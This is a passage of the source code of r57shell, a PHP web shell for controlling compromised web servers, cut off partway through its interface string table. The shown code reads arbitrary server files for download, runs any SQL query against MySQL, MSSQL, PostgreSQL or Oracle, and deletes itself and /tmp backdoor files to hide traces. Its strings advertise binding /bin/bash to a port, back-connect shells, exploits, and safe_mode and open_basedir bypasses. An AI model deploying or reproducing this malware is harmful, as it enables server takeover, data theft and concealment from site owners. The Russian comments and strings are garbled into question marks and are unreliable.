<?php

/******************************************************************************************************/

/*

/* # # # #

/* # # # #

/* # # # #

/* # ## #### ## #

/* ## ## ###### ## ##

/* ## ## ###### ## ##

/* ## ## #### ## ##

/* ### ############ ###

/* ########################

/* ##############

/* ######## ########## #######

/* ### ## ########## ## ###

/* ### ## ########## ## ###

/* ### # ########## # ###

/* ### ## ######## ## ###

/* ## # ###### # ##

/* ## # #### # ##

/* ## ##

/*

/*

/*

/* www.R57.li - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ???????

/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru

/* ??????:

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

/* ????????? ????????????? ?? ?????? ? ????: blf, phoenix, virus, NorD ? ???? ?????? ?? RST/GHC.

/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ??????

/* ?? rst@void.ru. ??? ??????????? ????? ???????????.

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

/* (c)oded by 1dt.w0lf

/* RST/GHC http://rst.void.ru , http://ghc.ru

/* ANY MODIFIED REPUBLISHING IS RESTRICTED

/******************************************************************************************************/

/* ~~~ ????????? | Options ~~~ */

// ????? ????? | Language

// $language='ru' - ??????? (russian)

// $language='eng' - english (??????????)

$language='eng';

// ?????????????? | Authentification

// $auth = 1; - ?????????????? ???????? ( authentification = On )

// $auth = 0; - ?????????????? ????????? ( authentification = Off )

$auth = 0;

// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)

// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)

// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57'

// Login & password crypted with md5, default is 'r57'

$name='ec371748dc2da624b35a4f8f685dd122'; // admin123 (user login)

$pass='ec371748dc2da624b35a4f8f685dd122'; // admin123 (user password)

/******************************************************************************************************/

error_reporting(0);

set_magic_quotes_runtime(0);

@set_time_limit(0);

@ini_set('max_execution_time',0);

@ini_set('output_buffering',0);

$safe_mode = @ini_get('safe_mode');

$version = '1.31';

if(version_compare(phpversion(), '4.1.0') == -1)

{

$_POST = &$HTTP_POST_VARS;

$_GET = &$HTTP_GET_VARS;

$_SERVER = &$HTTP_SERVER_VARS;

$_COOKIE = &$HTTP_COOKIE_VARS;

}

if (@get_magic_quotes_gpc())

{

foreach ($_POST as $k=>$v)

{

$_POST[$k] = stripslashes($v);

}

foreach ($_COOKIE as $k=>$v)

{

$_COOKIE[$k] = stripslashes($v);

}

}

if($auth == 1) {

if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)

{

header('WWW-Authenticate: Basic realm="r57shell"');

header('HTTP/1.0 401 Unauthorized');

exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");

}

}

$head = '<!-- ??????????, ???? -->

<html>

<head>

<title>r57shell</title>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<STYLE>

tr {

BORDER-RIGHT: #aaaaaa 1px solid;

BORDER-TOP: #eeeeee 1px solid;

BORDER-LEFT: #eeeeee 1px solid;

BORDER-BOTTOM: #aaaaaa 1px solid;

color: #000000;

}

td {

BORDER-RIGHT: #aaaaaa 1px solid;

BORDER-TOP: #eeeeee 1px solid;

BORDER-LEFT: #eeeeee 1px solid;

BORDER-BOTTOM: #aaaaaa 1px solid;

color: #000000;

}

.table1 {

BORDER: 0px;

BACKGROUND-COLOR: #D4D0C8;

color: #000000;

}

.td1 {

BORDER: 0px;

font: 7pt Verdana;

color: #000000;

}

.tr1 {

BORDER: 0px;

color: #000000;

}

table {

BORDER: #eeeeee 1px outset;

BACKGROUND-COLOR: #D4D0C8;

color: #000000;

}

input {

BORDER-RIGHT: #ffffff 1px solid;

BORDER-TOP: #999999 1px solid;

BORDER-LEFT: #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BACKGROUND-COLOR: #e4e0d8;

font: 8pt Verdana;

color: #000000;

}

select {

BORDER-RIGHT: #ffffff 1px solid;

BORDER-TOP: #999999 1px solid;

BORDER-LEFT: #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BACKGROUND-COLOR: #e4e0d8;

font: 8pt Verdana;

color: #000000;;

}

submit {

BORDER: buttonhighlight 2px outset;

BACKGROUND-COLOR: #e4e0d8;

width: 30%;

color: #000000;

}

textarea {

BORDER-RIGHT: #ffffff 1px solid;

BORDER-TOP: #999999 1px solid;

BORDER-LEFT: #999999 1px solid;

BORDER-BOTTOM: #ffffff 1px solid;

BACKGROUND-COLOR: #e4e0d8;

font: Fixedsys bold;

color: #000000;

}

BODY {

margin: 1px;

color: #000000;

background-color: #e4e0d8;

}

A:link {COLOR:red; TEXT-DECORATION: none}

A:visited { COLOR:red; TEXT-DECORATION: none}

A:active {COLOR:red; TEXT-DECORATION: none}

A:hover {color:blue;TEXT-DECORATION: none}

</STYLE>

<script language=\'javascript\'>

function hide_div(id)

{

document.getElementById(id).style.display = \'none\';

document.cookie=id+\'=0;\';

}

function show_div(id)

{

document.getElementById(id).style.display = \'block\';

document.cookie=id+\'=1;\';

}

function change_divst(id)

{

if (document.getElementById(id).style.display == \'none\')

show_div(id);

else

hide_div(id);

}

</script>';

class zipfile

{

var $datasec = array();

var $ctrl_dir = array();

var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";

var $old_offset = 0;

function unix2DosTime($unixtime = 0) {

$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);

if ($timearray['year'] < 1980) {

$timearray['year'] = 1980;

$timearray['mon'] = 1;

$timearray['mday'] = 1;

$timearray['hours'] = 0;

$timearray['minutes'] = 0;

$timearray['seconds'] = 0;

}

return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |

($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);

}

function addFile($data, $name, $time = 0)

{

$name = str_replace('\\', '/', $name);

$dtime = dechex($this->unix2DosTime($time));

$hexdtime = '\x' . $dtime[6] . $dtime[7]

. '\x' . $dtime[4] . $dtime[5]

. '\x' . $dtime[2] . $dtime[3]

. '\x' . $dtime[0] . $dtime[1];

eval('$hexdtime = "' . $hexdtime . '";');

$fr = "\x50\x4b\x03\x04";

$fr .= "\x14\x00";

$fr .= "\x00\x00";

$fr .= "\x08\x00";

$fr .= $hexdtime;

$unc_len = strlen($data);

$crc = crc32($data);

$zdata = gzcompress($data);

$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);

$c_len = strlen($zdata);

$fr .= pack('V', $crc);

$fr .= pack('V', $c_len);

$fr .= pack('V', $unc_len);

$fr .= pack('v', strlen($name));

$fr .= pack('v', 0);

$fr .= $name;

$fr .= $zdata;

$this -> datasec[] = $fr;

$cdrec = "\x50\x4b\x01\x02";

$cdrec .= "\x00\x00";

$cdrec .= "\x14\x00";

$cdrec .= "\x00\x00";

$cdrec .= "\x08\x00";

$cdrec .= $hexdtime;

$cdrec .= pack('V', $crc);

$cdrec .= pack('V', $c_len);

$cdrec .= pack('V', $unc_len);

$cdrec .= pack('v', strlen($name) );

$cdrec .= pack('v', 0 );

$cdrec .= pack('v', 0 );

$cdrec .= pack('v', 0 );

$cdrec .= pack('v', 0 );

$cdrec .= pack('V', 32 );

$cdrec .= pack('V', $this -> old_offset );

$this -> old_offset += strlen($fr);

$cdrec .= $name;

$this -> ctrl_dir[] = $cdrec;

}

function file()

{

$data = implode('', $this -> datasec);

$ctrldir = implode('', $this -> ctrl_dir);

return

$data .

$ctrldir .

$this -> eof_ctrl_dir .

pack('v', sizeof($this -> ctrl_dir)) .

pack('v', sizeof($this -> ctrl_dir)) .

pack('V', strlen($ctrldir)) .

pack('V', strlen($data)) .

"\x00\x00";

}

}

function compress(&$filename,&$filedump,$compress)

{

global $content_encoding;

global $mime_type;

if ($compress == 'bzip' && @function_exists('bzcompress'))

{

$filename .= '.bz2';

$mime_type = 'application/x-bzip2';

$filedump = bzcompress($filedump);

}

else if ($compress == 'gzip' && @function_exists('gzencode'))

{

$filename .= '.gz';

$content_encoding = 'x-gzip';

$mime_type = 'application/x-gzip';

$filedump = gzencode($filedump);

}

else if ($compress == 'zip' && @function_exists('gzcompress'))

{

$filename .= '.zip';

$mime_type = 'application/zip';

$zipfile = new zipfile();

$zipfile -> addFile($filedump, substr($filename, 0, -4));

$filedump = $zipfile -> file();

}

else

{

$mime_type = 'application/octet-stream';

}

}

function mailattach($to,$from,$subj,$attach)

{

$headers = "From: $from\r\n";

$headers .= "MIME-Version: 1.0\r\n";

$headers .= "Content-Type: ".$attach['type'];

$headers .= "; name=\"".$attach['name']."\"\r\n";

$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";

$headers .= chunk_split(base64_encode($attach['content']))."\r\n";

if(@mail($to,$subj,"",$headers)) { return 1; }

return 0;

}

class my_sql

{

var $host = 'localhost';

var $port = '';

var $user = '';

var $pass = '';

var $base = '';

var $db = '';

var $connection;

var $res;

var $error;

var $rows;

var $columns;

var $num_rows;

var $num_fields;

var $dump;

function connect()

{

switch($this->db)

{

case 'MySQL':

if(empty($this->port)) { $this->port = '3306'; }

if(!function_exists('mysql_connect')) return 0;

$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);

if(is_resource($this->connection)) return 1;

break;

case 'MSSQL':

if(empty($this->port)) { $this->port = '1433'; }

if(!function_exists('mssql_connect')) return 0;

$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);

if($this->connection) return 1;

break;

case 'PostgreSQL':

if(empty($this->port)) { $this->port = '5432'; }

$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";

if(!function_exists('pg_connect')) return 0;

$this->connection = @pg_connect($str);

if(is_resource($this->connection)) return 1;

break;

case 'Oracle':

if(!function_exists('ocilogon')) return 0;

$this->connection = @ocilogon($this->user, $this->pass, $this->base);

if(is_resource($this->connection)) return 1;

break;

}

return 0;

}

function select_db()

{

switch($this->db)

{

case 'MySQL':

if(@mysql_select_db($this->base,$this->connection)) return 1;

break;

case 'MSSQL':

if(@mssql_select_db($this->base,$this->connection)) return 1;

break;

case 'PostgreSQL':

return 1;

break;

case 'Oracle':

return 1;

break;

}

return 0;

}

function query($query)

{

$this->res=$this->error='';

switch($this->db)

{

case 'MySQL':

if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))

{

$this->error = @mysql_error($this->connection);

return 0;

}

else if(is_resource($this->res)) { return 1; }

return 2;

break;

case 'MSSQL':

if(false===($this->res=@mssql_query($query,$this->connection)))

{

$this->error = 'Query error';

return 0;

}

else if(@mssql_num_rows($this->res) > 0) { return 1; }

return 2;

break;

case 'PostgreSQL':

if(false===($this->res=@pg_query($this->connection,$query)))

{

$this->error = @pg_last_error($this->connection);

return 0;

}

else if(@pg_num_rows($this->res) > 0) { return 1; }

return 2;

break;

case 'Oracle':

if(false===($this->res=@ociparse($this->connection,$query)))

{

$this->error = 'Query parse error';

}

else

{

if(@ociexecute($this->res))

{

if(@ocirowcount($this->res) != 0) return 2;

return 1;

}

$error = @ocierror();

$this->error=$error['message'];

}

break;

}

return 0;

}

function get_result()

{

$this->rows=array();

$this->columns=array();

$this->num_rows=$this->num_fields=0;

switch($this->db)

{

case 'MySQL':

$this->num_rows=@mysql_num_rows($this->res);

$this->num_fields=@mysql_num_fields($this->res);

while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));

@mysql_free_result($this->res);

if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}

break;

case 'MSSQL':

$this->num_rows=@mssql_num_rows($this->res);

$this->num_fields=@mssql_num_fields($this->res);

while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));

@mssql_free_result($this->res);

if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};

break;

case 'PostgreSQL':

$this->num_rows=@pg_num_rows($this->res);

$this->num_fields=@pg_num_fields($this->res);

while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));

@pg_free_result($this->res);

if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}

break;

case 'Oracle':

$this->num_fields=@ocinumcols($this->res);

while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;

@ocifreestatement($this->res);

if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}

break;

}

return 0;

}

function dump($table)

{

if(empty($table)) return 0;

$this->dump=array();

$this->dump[0] = '##';

$this->dump[1] = '## --------------------------------------- ';

$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");

$this->dump[3] = '## Database: '.$this->base;

$this->dump[4] = '## Table: '.$table;

$this->dump[5] = '## --------------------------------------- ';

switch($this->db)

{

case 'MySQL':

$this->dump[0] = '## MySQL dump';

if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;

if(!$this->get_result()) return 0;

$this->dump[] = $this->rows[0]['Create Table'];

$this->dump[] = '## --------------------------------------- ';

if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;

if(!$this->get_result()) return 0;

for($i=0;$i<$this->num_rows;$i++)

{

foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}

$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';

}

break;

case 'MSSQL':

$this->dump[0] = '## MSSQL dump';

if($this->query('SELECT * FROM '.$table)!=1) return 0;

if(!$this->get_result()) return 0;

for($i=0;$i<$this->num_rows;$i++)

{

foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}

$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';

}

break;

case 'PostgreSQL':

$this->dump[0] = '## PostgreSQL dump';

if($this->query('SELECT * FROM '.$table)!=1) return 0;

if(!$this->get_result()) return 0;

for($i=0;$i<$this->num_rows;$i++)

{

foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}

$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';

}

break;

case 'Oracle':

$this->dump[0] = '## ORACLE dump';

$this->dump[] = '## under construction';

break;

default:

return 0;

break;

}

return 1;

}

function close()

{

switch($this->db)

{

case 'MySQL':

@mysql_close($this->connection);

break;

case 'MSSQL':

@mssql_close($this->connection);

break;

case 'PostgreSQL':

@pg_close($this->connection);

break;

case 'Oracle':

@oci_close($this->connection);

break;

}

}

function affected_rows()

{

switch($this->db)

{

case 'MySQL':

return @mysql_affected_rows($this->res);

break;

case 'MSSQL':

return @mssql_affected_rows($this->res);

break;

case 'PostgreSQL':

return @pg_affected_rows($this->res);

break;

case 'Oracle':

return @ocirowcount($this->res);

break;

default:

return 0;

break;

}

}

}

if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))

{

if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }

else

{

@ob_clean();

$filename = @basename($_POST['d_name']);

$filedump = @fread($file,@filesize($_POST['d_name']));

fclose($file);

$content_encoding=$mime_type='';

compress($filename,$filedump,$_POST['compress']);

if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }

header("Content-type: ".$mime_type);

header("Content-disposition: attachment; filename=\"".$filename."\";");

echo $filedump;

exit();

}

}

if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }

if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")

{

echo $head;

$sql = new my_sql();

$sql->db = $_POST['db'];

$sql->host = $_POST['db_server'];

$sql->port = $_POST['db_port'];

$sql->user = $_POST['mysql_l'];

$sql->pass = $_POST['mysql_p'];

$sql->base = $_POST['mysql_db'];

$querys = @explode(';',$_POST['db_query']);

echo '<body bgcolor=#e4e0d8>';

if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";

else

{

if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";

else

{

foreach($querys as $num=>$query)

{

if(strlen($query)>5)

{

echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";

switch($sql->query($query))

{

case '0':

echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";

break;

case '1':

if($sql->get_result())

{

echo "<table width=100%>";

foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);

$keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);

echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";

for($i=0;$i<$sql->num_rows;$i++)

{

foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);

$values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);

echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';

}

echo "</table>";

}

break;

case '2':

$ar = $sql->affected_rows()?($sql->affected_rows()):('0');

echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";

break;

}

}

}

}

}

echo "<br><form name=form method=POST>";

echo in('hidden','db',0,$_POST['db']);

echo in('hidden','db_server',0,$_POST['db_server']);

echo in('hidden','db_port',0,$_POST['db_port']);

echo in('hidden','mysql_l',0,$_POST['mysql_l']);

echo in('hidden','mysql_p',0,$_POST['mysql_p']);

echo in('hidden','mysql_db',0,$_POST['mysql_db']);

echo in('hidden','cmd',0,'db_query');

echo "<div align=center>";

echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";

echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";

echo "</form>";

echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();

}

if(isset($_GET['delete']))

{

@unlink(__FILE__);

}

if(isset($_GET['tmp']))

{

@unlink("/tmp/bdpl");

@unlink("/tmp/back");

@unlink("/tmp/bd");

@unlink("/tmp/bd.c");

@unlink("/tmp/dp");

@unlink("/tmp/dpc");

@unlink("/tmp/dpc.c");

}

if(isset($_GET['phpini']))

{

echo $head;

function U_value($value)

{

if ($value == '') return '<i>no value</i>';

if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';

if ($value === null) return 'NULL';

if (@is_object($value)) $value = (array) $value;

if (@is_array($value))

{

@ob_start();

print_r($value);

$value = @ob_get_contents();

@ob_end_clean();

}

return U_wordwrap((string) $value);

}

function U_wordwrap($str)

{

$str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);

return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);

}

if (@function_exists('ini_get_all'))

{

$r = '';

echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';

foreach (@ini_get_all() as $key=>$value)

{

$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';

}

echo $r;

echo '</table>';

}

echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";

die();

}

if(isset($_GET['cpu']))

{

echo $head;

echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';

$cpuf = @file("cpuinfo");

if($cpuf)

{

$c = @sizeof($cpuf);

for($i=0;$i<$c;$i++)

{

$info = @explode(":",$cpuf[$i]);

if($info[1]==""){ $info[1]="---"; }

$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';

}

echo $r;

}

else

{

echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';

}

echo '</table>';

echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";

die();

}

if(isset($_GET['mem']))

{

echo $head;

echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';

$memf = @file("meminfo");

if($memf)

{

$c = sizeof($memf);

for($i=0;$i<$c;$i++)

{

$info = explode(":",$memf[$i]);

if($info[1]==""){ $info[1]="---"; }

$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';

}

echo $r;

}

else

{

echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';

}

echo '</table>';

echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";

die();

}

$lang=array(

'ru_text1' =>'??????????? ???????',

'ru_text2' =>'?????????? ?????? ?? ???????',

'ru_text3' =>'????????? ???????',

'ru_text4' =>'??????? ??????????',

'ru_text5' =>'???????? ?????? ?? ??????',

'ru_text6' =>'????????? ????',

'ru_text7' =>'??????',

'ru_text8' =>'???????? ?????',

'ru_butt1' =>'?????????',

'ru_butt2' =>'?????????',

'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',

'ru_text10'=>'??????? ????',

'ru_text11'=>'?????? ??? ???????',

'ru_butt3' =>'???????',

'ru_text12'=>'back-connect',

'ru_text13'=>'IP-?????',

'ru_text14'=>'????',

'ru_butt4' =>'?????????',

'ru_text15'=>'???????? ?????? ? ?????????? ???????',

'ru_text16'=>'????????????',

'ru_text17'=>'????????? ????',

'ru_text18'=>'????????? ????',

'ru_text19'=>'Exploits',

'ru_text20'=>'????????????',

'ru_text21'=>'????? ???',

'ru_text22'=>'datapipe',

'ru_text23'=>'????????? ????',

'ru_text24'=>'????????? ????',

'ru_text25'=>'????????? ????',

'ru_text26'=>'????????????',

'ru_butt5' =>'?????????',

'ru_text28'=>'?????? ? safe_mode',

'ru_text29'=>'?????? ????????',

'ru_butt6' =>'???????',

'ru_text30'=>'???????? ?????',

'ru_butt7' =>'???????',

'ru_text31'=>'???? ?? ??????',

'ru_text32'=>'?????????? PHP ????',

'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',

'ru_butt8' =>'?????????',

'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',

'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',

'ru_text36'=>'???? . ???????',

'ru_text37'=>'?????',

'ru_text38'=>'??????',

'ru_text39'=>'????',

'ru_text40'=>'???? ??????? ???? ??????',

'ru_butt9' =>'????',

'ru_text41'=>'????????? ? ?????',

'ru_text42'=>'?????????????? ?????',

'ru_text43'=>'????????????? ????',

'ru_butt10'=>'?????????',

'ru_butt11'=>'?????????????',

'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',

'ru_text45'=>'???? ????????',

'ru_text46'=>'???????? phpinfo()',

'ru_text47'=>'???????? ???????? php.ini',

'ru_text48'=>'???????? ????????? ??????',

'ru_text49'=>'???????? ??????? ? ???????',

'ru_text50'=>'?????????? ? ??????????',

'ru_text51'=>'?????????? ? ??????',

'ru_text52'=>'????? ??? ??????',

'ru_text53'=>'?????? ? ?????',

'ru_text54'=>'????? ?????? ? ??????',

'ru_butt12'=>'?????',

'ru_text55'=>'?????? ? ??????',

'ru_text56'=>'?????? ?? ???????',

'ru_text57'=>'???????/??????? ????/??????????',

'ru_text58'=>'???',

'ru_text59'=>'????',

'ru_text60'=>'??????????',

'ru_butt13'=>'???????/???????',

'ru_text61'=>'???? ??????',

'ru_text62'=>'?????????? ???????',

'ru_text63'=>'???? ??????',

'ru_text64'=>'?????????? ???????',

'ru_text65'=>'???????',

'ru_text66'=>'???????',

'ru_text67'=>'Chown/Chgrp/Chmod',

'ru_text68'=>'???????',

'ru_text69'=>'????????1',

'ru_text70'=>'????????2',

'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",

'ru_text72'=>'????? ??? ??????',

'ru_text73'=>'?????? ? ?????',

'ru_text74'=>'?????? ? ??????',

'ru_text75'=>'* ????? ???????????? ?????????? ?????????',

'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',

'ru_text80'=>'???',

'ru_text81'=>'????',

'ru_text82'=>'???? ??????',

'ru_text83'=>'?????????? SQL ???????',

'ru_text84'=>'SQL ??????',

'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',

'ru_text86'=>'?????????? ????? ? ???????',

'ru_butt14'=>'???????',

'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',

'ru_text88'=>'FTP-??????:????',

'ru_text89'=>'???? ?? ftp ???????',

'ru_text90'=>'????? ????????',

'ru_text91'=>'???????????? ?',

'ru_text92'=>'??? ?????????',

'ru_text93'=>'FTP',

'ru_text94'=>'FTP-????????',

'ru_text95'=>'?????? ?????????????',

'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',

'ru_text97'=>'????????? ??????????: ',

'ru_text98'=>'??????? ???????????: ',

'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd',

'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',

'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????',

'ru_text102'=>'?????',

'ru_text103'=>'???????? ??????',

'ru_text104'=>'???????? ????? ?? ???????? ????',

'ru_text105'=>'????',

'ru_text106'=>'??',

'ru_text107'=>'????',

'ru_butt15'=>'?????????',

'ru_text108'=>'????? ??????',

'ru_text109'=>'????????',

'ru_text110'=>'??????????',

'ru_text111'=>'SQL-?????? : ????',

'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail',

'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list',

'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body',

'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()',

'ru_text116'=>'?????????? ????',

'ru_text117'=>'?',

'ru_text118'=>'???? ??????????',

'ru_text119'=>'?? ??????? ??????????? ????',

'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',

'ru_err1'=>'??????! ?? ???? ????????? ???? ',

'ru_err2'=>'??????! ?? ??????? ??????? ',

'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',

'ru_err4'=>'?????? ??????????? ?? ftp ???????',

'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',

'ru_err6'=>'??????! ?? ??????? ????????? ??????',

'ru_err7'=>'?????? ??????????',

/* --------------------------------------------------------------- */

'eng_text1' =>'Executed command',

'eng_text2' =>'Execute command on server',

'eng_text3' =>'Run command',

'eng_text4' =>'Work directory',

'eng_text5' =>'Upload files on server',

'eng_text6' =>'Local file',

'eng_text7' =>'Aliases',

'eng_text8' =>'Select alias',

'eng_butt1' =>'Execute',

'eng_butt2' =>'Upload',

'eng_text9' =>'Bind port to /bin/bash',

'eng_text10'=>'Port',

'eng_text11'=>'Password for access',

'eng_butt3' =>'Bind',

'eng_text12'=>'back-connect',

'eng_text13'=>'IP',

'eng_text14'=>'Port',

'eng_butt4' =>'Connect',

'eng_text15'=>'Upload files from remote server',

'eng_text16'=>'With',

'eng_text17'=>'Remote file',

'eng_text18'=>'Local file',

'eng_text19'=>'Exploits',

'eng_text20'=>'Use',

'eng_text21'=>'&nbsp;New name',

'eng_text22'=>'datapipe',

